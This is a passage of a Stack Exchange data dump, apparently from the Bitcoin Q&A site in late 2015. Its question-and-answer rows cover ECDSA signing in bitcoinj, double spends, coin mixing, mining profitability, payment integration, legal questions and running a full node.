  <row Id="42062" PostTypeId="1" AcceptedAnswerId="42064" CreationDate="2015-12-29T10:29:11.477" Score="1" ViewCount="509" Body="&lt;p&gt;According to this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public boolean verify(Sha256Hash sigHash, ECDSASignature signature) {&#xA;        return ECKey.verify(sigHash.getBytes(), signature, getPubKey());&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do not understand which must be the content of the variable &lt;strong&gt;sighash&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my function where the creation of signature happend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public ECDSASignature scriptSig(Receiver r) {&#xA;        System.out.println(&quot;First step :\n&quot;);&#xA;        System.out&#xA;                .println(&quot;CREATION OF SCRIPTSIG-----OR----- OUTPUT TRANSACTION&quot;);&#xA;&#xA;        r = super.getReceiver();&#xA;&#xA;        Wallet rwallet = r.getReceiverWalletList().get(0);&#xA;&#xA;        BigInteger R = rwallet.getClientKey().getPrivKey();&#xA;        System.out&#xA;                .println(&quot;*******************************************************&quot;);&#xA;        System.out.println(R);&#xA;&#xA;        BigInteger S = new BigInteger(r.getReceiverWalletList().get(0).getClientKey().getPubKey()); // i&#xA;                                                                                // had&#xA;                                                                                // .getPubkeyHash()&#xA;        System.out&#xA;                .println(&quot;*******************************************************&quot;);&#xA;        System.out.println(S);&#xA;&#xA;&#xA;        // constructs a signature with the given components&#xA;        ECDSASignature receiverSig = new ECDSASignature(R, S);&#xA;&#xA;        return receiverSig;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here i am trying to verify my signature:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sha256hash = new Sha256Hash(receiver.getReceiverWalletList()&#xA;                        .get(0).getClientKey().getPrivKeyBytes());&#xA;            redeemerSignature = scriptSig(receiver);&#xA;&#xA;&#xA;.....&#xA;&#xA;&#xA;if (receiver.getReceiverWalletList().get(0).getClientKey()&#xA;                        .verify(sha256hash, redeemerSignature))&#xA;                    System.out.println(&quot;The transaction finished SUCCESSFULLY&quot;);&#xA;&#xA;                else&#xA;                    System.out&#xA;                            .println(&quot;The transaction finished UNSUCCESSFULLY&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think i my problem is the &lt;strong&gt;right input in sha256hash = new Sha256Hash(...)&lt;/strong&gt; instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;" OwnerUserId="31202" LastActivityDate="2015-12-29T14:21:06.193" Title="Verifing the given R/S pair (signature) against a hash using the public key" Tags="|bitcoinj|ecdsa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42063" PostTypeId="2" ParentId="42058" CreationDate="2015-12-29T12:32:17.750" Score="1" Body="&lt;p&gt;There are two stages that affect double spending transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially, when the transactions are unconfirmed, a node can't know which transaction was &quot;the first&quot; or the &quot;double spend&quot;. Through a local policy it can pick either, usually the first it sees. But it might pick the other one depending on for example the amount of fee (Miners might prefer the highest fee).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as one of the transactions is confirmed (6 confirmations to be sure), the other will be invalid. A Bitcoin node maintains an Unspent Transaction Ouput (UTXO) set. Whenever a transaction spends an output (of an earlier transaciton), that ouput is removed from the UTXO set and any outputs of the new transaction are added to the set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A double spend transaction would be trying to spend an output that is not in the UTXO set and is therefore invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The UTXO set is currently about 1 GB and is kept in memory, to make all the lookups very fast. There are optimizations in the works that would reduce this size. Although with larger Bitcoin adoption the UTXO set will also grow again.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-12-29T12:32:17.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42064" PostTypeId="2" ParentId="42062" CreationDate="2015-12-29T13:01:05.333" Score="3" Body="&lt;p&gt;I suppose you use the BitCoinJ library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are not creating a signature the correct way; an &lt;code&gt;ECDSASignature&lt;/code&gt; object should be initialized with the ECDSA signature parameters (r,s), not the actual private and public keys. The constructor you are using, implies that the ECDSA signature has been computed already, you somehow got &lt;code&gt;r&lt;/code&gt; and &lt;code&gt;s&lt;/code&gt; and you initiate the signature object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve your required functionality, use the &lt;code&gt;doSign(Sha256Hash input, BigInteger privateKeyForSigning)&lt;/code&gt; method of your &lt;code&gt;ECKey&lt;/code&gt; and the output will be your desired &lt;code&gt;ECDSASignature&lt;/code&gt; object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The input on &lt;code&gt;doSign&lt;/code&gt; should be the same with the input on &lt;code&gt;verify&lt;/code&gt;, which is always the SHA256 of your message to be signed. If you want to spend an P2PKH output you must sign the public key, check this &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/22589/in-scriptsig-which-form-of-the-public-key-is-considered-canonical?rq=1&quot;&gt;post&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="31544" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-12-29T14:21:06.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42065" PostTypeId="2" ParentId="42039" CreationDate="2015-12-29T14:15:32.147" Score="2" Body="&lt;p&gt;I think you're looking for a &quot;mixing&quot; service (I've also heard it called &quot;tumbling&quot;). The idea is you mix your coins with those belonging to others, and send the output to new addresses in new configurations. This makes the &quot;taint&quot; (percentage of coins traceable back to a single address) pretty murky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;https://en.bitcoin.it/wiki/Category:Mixing_Services&quot; rel=&quot;nofollow&quot;&gt;Mixing Services on bitcoin.it&lt;/a&gt;. These require a level of trust, so there's a downside there.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I think the bigger question is, why do you want everything in a single address? I've found that using a deterministic wallet like &lt;a href=&quot;https://electrum.org/&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt; makes it so that you can have lots of addresses floating around, and you spend from those as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it were me and I wanted to empty out a bunch of old addresses into a bunch of new addresses, I'd create a new Electrum deterministic wallet, and do one large transaction where the inputs are all your old addresses, and the outputs are 20 of your Electrum-generated addresses evenly distributed amounts (ie, each gets 1/20th of the amount), and then do a second large transaction with 20 new addresses each getting random amounts. The point here being to make it look like a you're mixing coins with other people, even though you're not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could be wrong, so you should probably wait for a better answer on here before doing this :)&lt;/p&gt;&#xA;" OwnerUserId="30591" LastActivityDate="2015-12-29T14:15:32.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42066" PostTypeId="1" CreationDate="2015-12-29T19:37:34.377" Score="0" ViewCount="57" Body="&lt;p&gt;I need to integrate bitcoins payments in my web application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was about to use &lt;a href=&quot;https://stripe.com/docs/guides/bitcoin&quot; rel=&quot;nofollow&quot;&gt;Stripe&lt;/a&gt; platform for accepting bitcoins (works exactly the same than for accepting credit cards) but I realized they need me to have a US bank account which I don't have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a similar service that offers an API (java preferrably) to easily accept bitcoin payments or do I have to write down the code myself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(By the way, I'm new to bitcoin but have a good dev exp.)&lt;/p&gt;&#xA;" OwnerUserId="31551" LastEditorUserId="18196" LastEditDate="2015-12-29T22:08:07.983" LastActivityDate="2015-12-29T22:08:07.983" Title="International Bitcoin Payment Platform" Tags="|api|java|payment-processors|" AnswerCount="1" CommentCount="0" ClosedDate="2015-12-29T22:09:02.287" ContentLicense="CC BY-SA 3.0" />
  <row Id="42067" PostTypeId="1" CreationDate="2015-12-29T19:55:44.437" Score="1" ViewCount="519" Body="&lt;p&gt;I am setting up a website to accept bitcoins using blockchain.info API, it's all set, code is ok, tested and working, I receive payments and everything but blockchain.info just won't call the callback url. &#xA;Since my websites traffic is going through cloudflare, I thought at first disabling firewall and few other security measurements would fix this but still not calling the callback..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;SOLVED&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just noticed that I had not adjusted firewall for callback file properly which blocked blockchain.info access, tested this on some other site and it's working, thanks everyone for trying to help.&lt;/p&gt;&#xA;" OwnerUserId="31550" LastEditorUserId="31550" LastEditDate="2016-01-01T02:59:18.983" LastActivityDate="2016-01-01T02:59:18.983" Title="Blockchain.info Receive Payment callback problem" Tags="|api|blockchain.info|payment|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="42068" PostTypeId="1" CreationDate="2015-12-29T20:00:08.403" Score="1" ViewCount="14440" Body="&lt;p&gt;&lt;strong&gt;At first, I should add I am not looking at mining for income. I just want to do it for fun but I don't want to waste money either.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In spite of difficulty increases there are a lot of people and companies which are starting to mine Bitcoin and I am one of them who want to start it for fun. &lt;em&gt;So, I want to know whether it is a good time to buy an ASIC (Bitmain S7)?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The electricity cost is very low in my country, so what do you recommend?&lt;/p&gt;&#xA;" OwnerDisplayName="user29589" LastEditorUserId="5406" LastEditDate="2016-01-20T20:03:40.077" LastActivityDate="2016-01-20T20:03:40.077" Title="Is 2016 a good time to buy an ASIC miner?" Tags="|asic|mining-profitability|mining-hardware|" AnswerCount="2" CommentCount="1" ClosedDate="2016-01-02T16:33:48.267" ContentLicense="CC BY-SA 3.0" />
  <row Id="42069" PostTypeId="2" ParentId="42066" CreationDate="2015-12-29T20:26:24.847" Score="0" Body="&lt;p&gt;Answer is here, question already asked (sorry about that):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/14447/how-to-integrate-a-bitcoin-payment-service-in-my-auction-site?rq=1&quot;&gt;How to integrate a Bitcoin payment service in my auction site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my choice: &lt;a href=&quot;https://bitpay.com/&quot; rel=&quot;nofollow&quot;&gt;https://bitpay.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31551" LastActivityDate="2015-12-29T20:26:24.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42070" PostTypeId="2" ParentId="42068" CreationDate="2015-12-29T20:39:30.803" Score="2" Body="&lt;p&gt;Although the miner you're considering is a great entry level unit, 2016 will bring in the &quot;halving&quot; of the reward on bitcoins mined. This means, once a solution is found, the reward will be half the number of bitcoin. (&lt;a href=&quot;http://www.bitcoinblockhalf.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinblockhalf.com/&lt;/a&gt;) You may want to join a pool, which you can help mine bitcoin and the reward is split up depending on the rules of the pool. It's a good way to be a part of the community and possibly earn bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="31553" LastEditorUserId="141" LastEditDate="2015-12-30T21:20:19.673" LastActivityDate="2015-12-30T21:20:19.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42071" PostTypeId="1" AcceptedAnswerId="42072" CreationDate="2015-12-29T20:48:04.463" Score="4" ViewCount="129" Body="&lt;p&gt;Can Bitcoins be exchanged for professionally licensed services by persons who are NOT licensed? For those folks, receiving cash would normally be a Blackmarket Racket since only licensees, the governments approved vendors, may partake in those business activities. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Persons can dispense all sorts of professional services as long as they aren’t for &quot;business&quot; or &quot;pay&quot;.  Good hearted family, friends, neighbors and colleagues do it all the time. It’s a basic freedom we as Americans understand, to not be controlled like individuals were in the USSR etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hypothetically, if neighborA were to dispense Legal Advice for PAY, yet NOT be a licensed attorney, then neighborA would be involved in an illegal operation according to political regulations.  NeighborA, however, could in fact give that same advice, and on any other matter they like...taxes, medical, legal etc., as long as they DON’T do it for business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, can these folks legally receive bitcoins?  Or, is that considered Pay and Business?&lt;/p&gt;&#xA;" OwnerUserId="31552" LastEditorUserId="5406" LastEditDate="2016-01-02T16:35:57.957" LastActivityDate="2016-01-02T16:35:57.957" Title="Can bitcoins be exchanged for nonlicensed &quot;Professional&quot; services?" Tags="|legal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42072" PostTypeId="2" ParentId="42071" CreationDate="2015-12-29T23:41:32.357" Score="5" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Persons can dispense all sorts of professional services as long as they aren't for &amp;quot;business&amp;quot; or &amp;quot;pay&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In some places, yes. In other places, no. Since you didn't specify your jurisdiction, I will guess that you live in Alabama. &lt;a href=&quot;http://codes.lp.findlaw.com/alcode/34/3/1/34-3-6&quot; rel=&quot;nofollow noreferrer&quot;&gt;Alabama Code - Section 34-3-6 (b)&lt;/a&gt; defines the practice of law this way:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Whoever,&lt;/p&gt;&#xA;&lt;p&gt;(1) In a representative capacity appears as an advocate or &lt;strong&gt;draws papers&lt;/strong&gt;, pleadings or documents, or performs any act in connection with proceedings pending or prospective before a court or a body, board, committee, commission or officer constituted by law or having authority to take evidence in or settle or determine controversies in the exercise of the judicial power of the state or any subdivision thereof; or&lt;br /&gt;&#xA;(2) For a consideration, reward or pecuniary benefit, present or anticipated, direct or indirect, advises or counsels another as to secular law, [...] or&lt;br /&gt;&#xA;[2 lines snipped.]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;For example, if you help your neighbor write up their will, and you weren't a licensed lawyer, you could potentially be in violation of this section, &lt;em&gt;even if you never received any money&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Hypothetically, if neighborA were to dispense Legal Advice for PAY, yet NOT be a licensed attorney, then they'd be involved in an illegal operation according to political regulations. [...] can these folks legally receive bitcoins? Or, is that considered Pay and Business?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Well, the IRS thinks that Bitcoins are money. Various state-level tax agencies think that Bitcoins are money. I'd guess that Bitcoins received for legal advice would probably be considered 'pay.'&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.splcenter.org/hatewatch/2015/10/14/sovereign-citizen-%E2%80%9Cdoctor%E2%80%9D-accused-performing-abortions-circumcisions-and-treating-cancer&quot; rel=&quot;nofollow noreferrer&quot;&gt;As for dispensing medical advice...&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Van Thiel claimed he performed abortions, removed sebaceous cysts, treated sexually transmitted and life-threatening diseases and provided ozone treatments at “unbeatable prices” in exchange for Bitcoins, gold and silver and firearms.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;There has been someone who was prosecuted for unlicensed practice of medicine in exchange for Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-12-30T01:22:09.463" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42073" PostTypeId="1" AcceptedAnswerId="42114" CreationDate="2015-12-30T00:39:42.683" Score="2" ViewCount="210" Body="&lt;p&gt;It seems to me that to keep Bitcoin both decentralized and secure, the whole of the Bitcoin process should ultimately depend on each user, or rather, that the involvement of each user should incorporate all aspects i.e. mining, full nodes, wallets, and exchanging.  Perhaps this is too much to think about at this stage, or maybe I simply have not found this, but is there any product or community that is focused on empowering individuals with simple systems that incorporate ALL of these aspects, and may I dare say, while being itself decentralized?  &lt;/p&gt;&#xA;" OwnerDisplayName="user31364" LastActivityDate="2016-06-30T22:29:14.057" Title="Are there any complete Bitcoin systems?" Tags="|wallet|mining-pools|exchanges|decentralization|full-node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42074" PostTypeId="2" ParentId="42068" CreationDate="2015-12-30T03:26:23.373" Score="2" Body="&lt;p&gt;It depends on the electricity cost, the block-reward, the exchange rate, the difficulty, and the quality &quot;Q&quot; of the machine (number of hashes per joule). One interesting event that will occur in 2016 is the block-reward halving, which is discussed below. The upshot is that I don't think the block-reward halving should discourage you from mining as long as your electricity costs are less than about 9 cents per kW-hour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(In the following, I'm assuming the exchange rate is $440 per bitcoin and the difficulty is fixed at 93448670796.3238.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple (perhaps naive?) calculation implies that a good miner with &quot;Q&quot; ~ 2GH/Joule should be profitable in the long run at current exchange rates as long as your electricity cost is less than about 19 cents per kiloWatt hour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With all the same parameters, but at half the block reward, you will still be profitable in the long run as long as electricity cost is less than about 9 or 10 cents per kiloWatt hour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you believe the advertised &quot;Q&quot; value of ~4Gh/joule for the S7 then even with the block reward halving you may still be profitable even at higher electricity cost... however once the S7 is available to you it is available to everyone and the difficulty will increase as a result. In general the difficulty always tends to increase, so be careful...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the calculations presented above were performed at fixed difficulty and exchange rate.&lt;/p&gt;&#xA;" OwnerUserId="29613" LastEditorUserId="29613" LastEditDate="2015-12-30T19:53:00.517" LastActivityDate="2015-12-30T19:53:00.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42076" PostTypeId="1" AcceptedAnswerId="42116" CreationDate="2015-12-30T05:47:58.500" Score="5" ViewCount="464" Body="&lt;p&gt;Can Bitcoin/blockchain be thought of as a decentralized &lt;a href=&quot;https://en.wikipedia.org/wiki/Trusted_timestamping&quot; rel=&quot;noreferrer&quot;&gt;time-stamping authority (TSA)&lt;/a&gt;? Is there true consensus in the Bitcoin network on a mined block's time, or just that the block was mined?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2016-01-02T11:59:26.887" Title="Is Bitcoin a decentralized time-stamping authority?" Tags="|network|timestamp|decentralization|consensus|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42077" PostTypeId="2" ParentId="42076" CreationDate="2015-12-30T09:28:32.677" Score="1" Body="&lt;p&gt;I don't think decentralized time-stamping authority does Bitcoin full justice, but yes blocks are timestamped and yes there is consensus on actual time. Albeit within a few hours margin. That even means that sometimes the timestamp on a newer block is further in the past than the timestamp of an older block.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-12-30T09:28:32.677" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="42078" PostTypeId="1" CreationDate="2015-12-30T09:49:53.663" Score="0" ViewCount="11250" Body="&lt;p&gt;So, 1 GHash equals 1000 Mhash's as far as I know. Then, why genesis-mining measures the bitcoin hashpower in terrahashes?? 1 Thash = 1000 Ghash. The whole hashocean is said to have 41.6 GH/s. On genesis you can buy 1 Thash for 400$. Who is naming their units in incorrect way? &lt;/p&gt;&#xA;" OwnerUserId="31559" LastActivityDate="2015-12-30T18:52:14.310" Title="Gigahash vs Megahash" Tags="|bitcoind|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42079" PostTypeId="2" ParentId="42078" CreationDate="2015-12-30T10:37:29.110" Score="1" Body="&lt;p&gt;Your 41.6 GH/s is certainly wrong. According to &lt;a href=&quot;https://bitcoinwisdom.com/bitcoin/difficulty&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinwisdom.com/bitcoin/difficulty&lt;/a&gt; it's currently 757,561,871 GH/s = 757,561 TeraHash/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also: it's &quot;Tera&quot;, one r and capital T. Capitalization is important in the Metric prefixes.  &lt;a href=&quot;https://en.wikipedia.org/wiki/Metric_prefix&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Metric_prefix&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note also that cloud mining is usually a scam. Why would they give you money? Answer: they don't.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-12-30T10:37:29.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42080" PostTypeId="1" AcceptedAnswerId="42081" CreationDate="2015-12-30T10:51:02.543" Score="5" ViewCount="452" Body="&lt;p&gt;I have this error from 5 days ago on my 2 servers&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;WARNING: abnormally high number of blocks generated, 48 blocks&#xA;  received in the last 4 hours (24 expected)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is this error ? I need to reindex the chain ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks you&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2015-12-30T13:17:18.053" Title="WARNING: abnormally high number of blocks generated" Tags="|blockchain|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42081" PostTypeId="2" ParentId="42080" CreationDate="2015-12-30T13:07:05.827" Score="7" Body="&lt;p&gt;Luke-Jr commented on this error here: &lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/3ydwg2/warning_abnormally_high_number_of_blocks/#oo&quot;&gt;https://www.reddit.com/r/Bitcoin/comments/3ydwg2/warning_abnormally_high_number_of_blocks/#oo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;What this means:&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;48 blocks were found within the last 4 hours. The average is&#xA;  &quot;supposed&quot; to be 1 block every 10 minutes, or 24 blocks over a 4 hour&#xA;  window. Normally, however, blocks are found at random intervals, and&#xA;  quite often faster than every 10 minutes due to miners continually&#xA;  upgrading or expanding their hardware. In this case, the average has&#xA;  reached as low as 5 minutes per block, which triggers the warning.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the network hashrate was not increasing, this event should occur&#xA;  only once every 50 years. To happen on average, persistently, the&#xA;  network would need to double its hashrate within 1 week, and even then&#xA;  the warning would only last part of that 1 week. So this is a pretty&#xA;  strange thing to happen when Bitcoin is only 6 years old - but not&#xA;  impossible either.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; During the 4 hours after this posting, block average seems to have been normal, so I am thinking it is probably just an anomaly.&#xA;  (Of course, I can't prove there isn't a new miner that has just gone&#xA;  dark or mining a forked chain either, so continue to monitor and make&#xA;  your own decisions as to risk.)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Why is this a warning?&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It's possible that a new mining chip has just been put online that can&#xA;  hash much faster than the rest of the network, and that miner is now&#xA;  near-doubling the network hashrate or worse. They could have over 51%,&#xA;  and might be performing an attack we can't know about yet. So you may&#xA;  wish to wait for more blocks than usual before considering high-value&#xA;  transactions confirmed, but unless this short block average continues&#xA;  on for another few hours, this risk seems unlikely IMO.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Has the blockchain forked?&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;No, this warning does not indicate that.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Will the warning go away on its own?&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Bitcoin Core will continue re-issuing the warning every day until the&#xA;  condition (&gt;=2x more blocks) ceases. When it stops issuing the&#xA;  warning, however, the message will remain in the status bar (or RPC&#xA;  &quot;errors&quot;) until the node is restarted.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Edit: Note that although the gist of the explanation above seems to be correct, the exact number of &quot;once every 50 years&quot; seems to be incorrect (bug in bitcoind code) and is probably more like once every 4 years. Details are in the replies to the above Reddit post.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2015-12-30T13:17:18.053" LastActivityDate="2015-12-30T13:17:18.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42082" PostTypeId="2" ParentId="24671" CreationDate="2015-12-30T13:20:01.170" Score="0" Body="&lt;p&gt;If you have two or more transactions in your wallet that spend the same output, that field will list the other ones.  That should normally never happen, because bitcoin-qt will refuse to create a transaction that spends an already-spent output.  But if your wallet is corrupt or there's some other problem, it might happen.&lt;/p&gt;&#xA;" OwnerUserId="13145" LastActivityDate="2015-12-30T13:20:01.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42084" PostTypeId="2" ParentId="41116" CreationDate="2015-12-30T18:13:49.353" Score="2" Body="&lt;p&gt;The counter-parties are different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Ripple chain: BTC has an issuer, it can be Bitstamp, Snapswap, Gatehub or any other gateway. So if you send your BTC to Bitstamp, they will give you BTC (issued by Bitstamp), if you send BTC to GateHub, you will get BTC (issued by Gatehub).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have BTC (SnapSwap) and you want to withdraw BTC from your Bitstamp account, BTC must be exchanged from BTC Snapswap to BTC Bitstamp. Though it can be done automatically (path can be found) &lt;/p&gt;&#xA;" OwnerUserId="31566" LastEditorUserId="5406" LastEditDate="2016-01-02T21:09:55.300" LastActivityDate="2016-01-02T21:09:55.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42085" PostTypeId="2" ParentId="42078" CreationDate="2015-12-30T18:52:14.310" Score="1" Body="&lt;p&gt;As the network gets bigger, the reference hashpower for the whole network grows too. The bitcoin network is now in the petahash range and soon will be exahashes!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1000    k   kilo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1000^2  M   mega&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1000^3  G   giga&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1000^4  T   tera&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1000^5  P   peta&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1000^6  E   exa&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1000^7  Z   zetta&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1000^8  Y   yotta&lt;/p&gt;&#xA;" OwnerUserId="10405" LastActivityDate="2015-12-30T18:52:14.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42086" PostTypeId="2" ParentId="42046" CreationDate="2015-12-30T18:56:49.237" Score="-1" Body="&lt;p&gt;If you have a wallet with some BTC in it, you can simply give somebody else the private key associated with that address (offline) and you will have effectively transferred control of them over to that person.&lt;/p&gt;&#xA;" OwnerUserId="10405" LastActivityDate="2015-12-30T18:56:49.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42087" PostTypeId="1" CreationDate="2015-12-30T20:34:46.440" Score="3" ViewCount="796" Body="&lt;p&gt;I've succesfully installed &lt;code&gt;bitcoind&lt;/code&gt; and &lt;code&gt;bitcoin-cli&lt;/code&gt;. I got some questions about it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run &lt;code&gt;bitcoind&lt;/code&gt; in the background by typing: &lt;code&gt;bitcoind -daemon&lt;/code&gt; and the blockchain begins to download: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By typing &lt;code&gt;getinfo&lt;/code&gt;  I can see how many blocks are known to my client on the line “blocks”… that´s ok for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what happens at the end? I don´t see that &lt;code&gt;bitcoind&lt;/code&gt; reports me anything back on the shell. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see by typing &lt;code&gt;getinfo&lt;/code&gt; that the blockchain is already on my computer. Then I turn off or hibernate computer for few hours. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run &lt;code&gt;bitcoind -daemon&lt;/code&gt; everytime I turn on my computer and it downloads the latest blocks that, of course, are missing because my computer was turned off.  Is that all? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I already running a full node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to wait for the full download of blockchain for sending or receiving BTC with &lt;code&gt;blitcoin-cli&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does &lt;code&gt;bitcoin-cli&lt;/code&gt;  work without this large file?&lt;/p&gt;&#xA;" OwnerUserId="31253" LastEditorUserId="97624" LastEditDate="2019-08-18T17:59:48.650" LastActivityDate="2019-08-18T17:59:48.650" Title="How to run a full node: Am I already doing so?" Tags="|blockchain|bitcoind|block|full-node|bitcoin-cli|" AnswerCount="2" CommentCount="0" 